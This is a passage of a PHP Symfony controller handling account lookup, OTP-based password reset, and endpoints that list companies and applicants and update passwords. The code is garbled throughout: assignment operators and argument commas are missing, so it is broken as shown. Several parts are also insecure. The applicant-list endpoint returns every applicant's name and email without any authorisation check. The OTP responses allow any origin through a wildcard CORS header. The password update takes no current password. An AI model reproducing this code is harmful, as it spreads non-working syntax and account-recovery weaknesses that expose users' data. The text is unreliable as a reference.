  9169.         $userCategory = isset($encryptedData['otp']) ? $encryptedData['userCategory'] : '_BUDDYBEE_USER_';
  9170.         $em $this->getDoctrine()->getManager('company_group');
  9171.         $em_goc $this->getDoctrine()->getManager('company_group');
  9172.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  9173.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9174.         $twigData = [];
  9175.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  9176.         $email_twig_data = [];
  9177.         $userData = [];
  9178.         if ($request->isMethod('POST') || $otp != '') {
  9179.             $otp $request->request->get('otp'$otp);
  9180.             $otpActionId $request->request->get('otpActionId'$otpActionId);
  9181.             $userId $request->request->get('userId'$userId);
  9182.             $userCategory $request->request->get('userCategory'$userCategory);
  9183.             $email_address $request->request->get('email'$email);
  9184.             if ($systemType == '_ERP_') {
  9185.                 if ($userCategory == '_APPLICANT_') {
  9186.                     $userType UserConstants::USER_TYPE_APPLICANT;
  9187.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9188.                         array(
  9189.                             'email' => $email_address
  9190.                         )
  9191.                     );
  9192.                     if ($userObj) {
  9193.                     } else {
  9194.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9195.                             array(
  9196.                                 'oAuthEmail' => $email_address
  9197.                             )
  9198.                         );
  9199.                         if ($userObj) {
  9200.                         } else {
  9201.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9202.                                 array(
  9203.                                     'userName' => $email_address
  9204.                                 )
  9205.                             );
  9206.                         }
  9207.                     }
  9208.                     if ($userObj) {
  9209.                         $email_address $userObj->getEmail();
  9210.                         if ($email_address == null || $email_address == '')
  9211.                             $email_address $userObj->getOAuthEmail();
  9212.                     }
  9213. //                    triggerResetPassword:
  9214. //                    type: integer
  9215. //                          nullable: true
  9216.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  9217.                     $userObj->setOtp($otpData['otp']);
  9218.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  9219.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  9220.                     $em_goc->flush();
  9221.                     $userData = array(
  9222.                         'id' => $userObj->getApplicantId(),
  9223.                         'email' => $email_address,
  9224.                         'appId' => 0,
  9225. //                        'appId'=>$userObj->getUserAppId(),
  9226.                     );
  9227.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9228.                     $email_twig_data = [
  9229.                         'page_title' => 'Find Account',
  9230.                         'encryptedData' => $encryptedData,
  9231.                         'message' => $message,
  9232.                         'userType' => $userType,
  9233.                         'errorField' => $errorField,
  9234.                         'otp' => $otpData['otp'],
  9235.                         'otpExpireSecond' => $otpExpireSecond,
  9236.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9237.                         'otpExpireTs' => $otpData['expireTs'],
  9238.                         'systemType' => $systemType,
  9239.                         'userData' => $userData
  9240.                     ];
  9241.                     if ($userObj)
  9242.                         $email_twig_data['success'] = true;
  9243.                 } else {
  9244.                     $userType UserConstants::USER_TYPE_GENERAL;
  9245.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9246.                     $email_twig_data = [
  9247.                         'page_title' => 'Find Account',
  9248.                         'encryptedData' => $encryptedData,
  9249.                         'message' => $message,
  9250.                         'userType' => $userType,
  9251.                         'errorField' => $errorField,
  9252.                     ];
  9253.                 }
  9254.             } else if ($systemType == '_BUDDYBEE_') {
  9255.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9256.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9257.                     array(
  9258.                         'applicantId' => $userId
  9259.                     )
  9260.                 );
  9261.                 if ($userObj) {
  9262.                     $userOtp $userObj->getOtp();
  9263.                     $userOtpActionId $userObj->getOtpActionId();
  9264.                     $userOtpExpireTs $userObj->getOtpExpireTs();
  9265.                     $otpExpireTs $userObj->getOtpExpireTs();
  9266.                     $currentTime = new \DateTime();
  9267.                     $currentTimeTs $currentTime->format('U');
  9268.                     if ($userOtp != $otp) {
  9269.                         $message "Invalid OTP!";
  9270.                         $email_twig_data['success'] = false;
  9271.                     } else if ($userOtpActionId != $otpActionId) {
  9272.                         $message "Invalid OTP Action!";
  9273.                         $email_twig_data['success'] = false;
  9274.                     } else if ($currentTimeTs $userOtpExpireTs) {
  9275.                         $message "OTP Expired!";
  9276.                         $email_twig_data['success'] = false;
  9277.                     } else {
  9278.                         $userObj->setOtp(0);
  9279.                         $userObj->setOtpActionId(UserConstants::OTP_ACTION_NONE);
  9280.                         $userObj->setOtpExpireTs(0);
  9281.                         $userObj->setTriggerResetPassword(1);
  9282.                         $em_goc->flush();
  9283.                         $email_twig_data['success'] = true;
  9284.                         $message "";
  9285.                     }
  9286.                     $userData = array(
  9287.                         'id' => $userObj->getApplicantId(),
  9288.                         'email' => $email_address,
  9289.                         'appId' => 0,
  9290.                         'image' => $userObj->getImage(),
  9291.                         'firstName' => $userObj->getFirstname(),
  9292.                         'lastName' => $userObj->getLastname(),
  9293. //                        'appId'=>$userObj->getUserAppId(),
  9294.                     );
  9295.                     $email_twig_data['userData'] = $userData;
  9296.                 } else {
  9297.                     $message "Account not found!";
  9298.                     $email_twig_data['success'] = false;
  9299.                 }
  9300.             }
  9301.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9302.                 $response = new JsonResponse(array(
  9303.                         'templateData' => $twigData,
  9304.                         'message' => $message,
  9305.                         'actionData' => $email_twig_data,
  9306.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9307.                     )
  9308.                 );
  9309.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9310.                 return $response;
  9311.             } else if ($email_twig_data['success'] == true) {
  9312.                 $encData = array(
  9313.                     "userType" => $userType,
  9314.                     "otp" => '',
  9315.                     "otpExpireTs" => $otpExpireTs,
  9316.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9317.                     "userCategory" => $userCategory,
  9318.                     "userId" => $userData['id'],
  9319.                     "systemType" => $systemType,
  9320.                 );
  9321.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9322.                 $url $this->generateUrl(
  9323.                     'reset_password_new_password'
  9324.                 );
  9325.                 return $this->redirect($url "/" $encDataStr);
  9326. //                return $this->redirectToRoute("reset_password_new_password", [
  9327. ////                'id' => $isApplicantExist->getApplicantId(),
  9328. ////                'oAuthData' => $oAuthData,
  9329. ////                'refRoute' => $refRoute,
  9330. //                ]);
  9331.             }
  9332.         }
  9333.         if ($systemType == '_ERP_') {
  9334.             if ($userCategory == '_APPLICANT_') {
  9335.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9336.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9337.                 $twigData = [
  9338.                     'page_title' => 'Find Account',
  9339.                     'encryptedData' => $encryptedData,
  9340.                     'message' => $message,
  9341.                     'userType' => $userType,
  9342.                     'errorField' => $errorField,
  9343.                 ];
  9344.             } else {
  9345.                 $userType UserConstants::USER_TYPE_GENERAL;
  9346.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9347.                 $twigData = [
  9348.                     'page_title' => 'Find Account',
  9349.                     'encryptedData' => $encryptedData,
  9350.                     'message' => $message,
  9351.                     'userType' => $userType,
  9352.                     'errorField' => $errorField,
  9353.                 ];
  9354.             }
  9355.         } else if ($systemType == '_BUDDYBEE_') {
  9356.             $userType UserConstants::USER_TYPE_APPLICANT;
  9357.             $twig_file '@Authentication/pages/views/verify_otp_buddybee.html.twig';
  9358.             $twigData = [
  9359.                 'page_title' => 'Verify Otp',
  9360.                 'encryptedData' => $encryptedData,
  9361.                 'message' => $message,
  9362.                 'email' => $email,
  9363.                 "otp" => '',
  9364. //                "otp"=>$otp,
  9365.                 "otpExpireTs" => $otpExpireTs,
  9366.                 'userType' => $userType,
  9367.                 'userCategory' => $userCategory,
  9368.                 'errorField' => $errorField,
  9369.             ];
  9370.         }
  9371.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9372.             $response = new JsonResponse(array(
  9373.                     'templateData' => $twigData,
  9374.                     'message' => $message,
  9375.                     'actionData' => $email_twig_data,
  9376.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9377.                 )
  9378.             );
  9379.             $response->headers->set('Access-Control-Allow-Origin''*');
  9380.             return $response;
  9381.         } else {
  9382.             return $this->render(
  9383.                 $twig_file,
  9384.                 $twigData
  9385.             );
  9386.         }
  9387.     }
  9388. //    public function getCompanyByUser(Request $request){
  9389. //        $em = $this->getDoctrine()->getManager();
  9390. //        $em_goc = $this->getDoctrine()->getManager('company_group');
  9391. //        $session = $request->getSession();
  9392. //        $userId = $session->get(UserConstants::USER_ID);
  9393. //        $applicantDetails = $em->getRepository("ApplicationBundle\\Entity\\SysUser")->createQueryBuilder('U')
  9394. //            ->select('U.userAppIdList')
  9395. //            ->where('U.userId = :userId')
  9396. //            ->setParameter('userId', $userId)
  9397. //            ->getQuery()
  9398. //            ->getResult();
  9399. //
  9400. //        $compnayDetails = $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")->createQueryBuilder('C')
  9401. //            ->select('C.name','C.appId')
  9402. //            ->getQuery()
  9403. //            ->getResult();
  9404. //
  9405. //        return new JsonResponse(
  9406. //            [
  9407. //                'applicantCompnayId' => $applicantDetails,
  9408. //                'copanyData' => $compnayDetails
  9409. //            ]
  9410. //        );
  9411.     public function getCompanyByUser(Request $request)
  9412.     {
  9413.         $em_goc $this->getDoctrine()->getManager('company_group');
  9414.         $em_goc->getConnection()->connect();
  9415.         $session $request->getSession();
  9416.         $appIds $session->get(UserConstants::USER_APP_ID_LIST);
  9417.         $userAppIdList json_decode($appIdstrue);
  9418.         if (!is_array($userAppIdList)) {
  9419.             return new JsonResponse([]);
  9420.         }
  9421.         $companyData $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  9422.             ->createQueryBuilder('C')
  9423.             ->select('C.name, C.appId')
  9424.             ->where('C.appId IN (:appIds)')
  9425.             ->setParameter('appIds'$userAppIdList)
  9426.             ->getQuery()
  9427.             ->getResult();
  9428.         return new JsonResponse($companyData);
  9429.     }
  9430.     public function applicantList(Request $request)
  9431.     {
  9432.         $em_goc $this->getDoctrine()->getManager('company_group');
  9433.         $em_goc->getConnection()->connect();
  9434.         $applicantList $em_goc->getRepository("CompanyGroupBundle\\Entity\\EntityApplicantDetails")
  9435.             ->createQueryBuilder('C')
  9436.             ->select('C.applicantId, C.firstname, C.lastname,C.email')
  9437.             ->getQuery()
  9438.             ->getResult();
  9439.         return new JsonResponse($applicantList);
  9440.     }
  9441.     public function getUserType()
  9442.     {
  9443.         $userType HumanResourceConstant::$userTypeForApp;
  9444.         return new JsonResponse($userType);
  9445.     }
  9446.     public function updatepasswordAction(Request $request)
  9447.     {
  9448.         $em_goc $this->getDoctrine()->getManager('company_group');
  9449.         $session $request->getSession();
  9450.         $userId $session->get(UserConstants::USER_ID);
  9451.         if ($request->isMethod('POST')) {
  9452.             $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->find($userId);
  9453.             $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($request->request->get('password'), $user->getSalt());
  9454.             $user->setPassword($encodedPassword);
  9455.             $em_goc->persist($user);
  9456.             $em_goc->flush();
  9457.             return new JsonResponse(['status' => 'success''message' => 'Password updated successfully.']);
  9458.         }
  9459.     }
  9460. }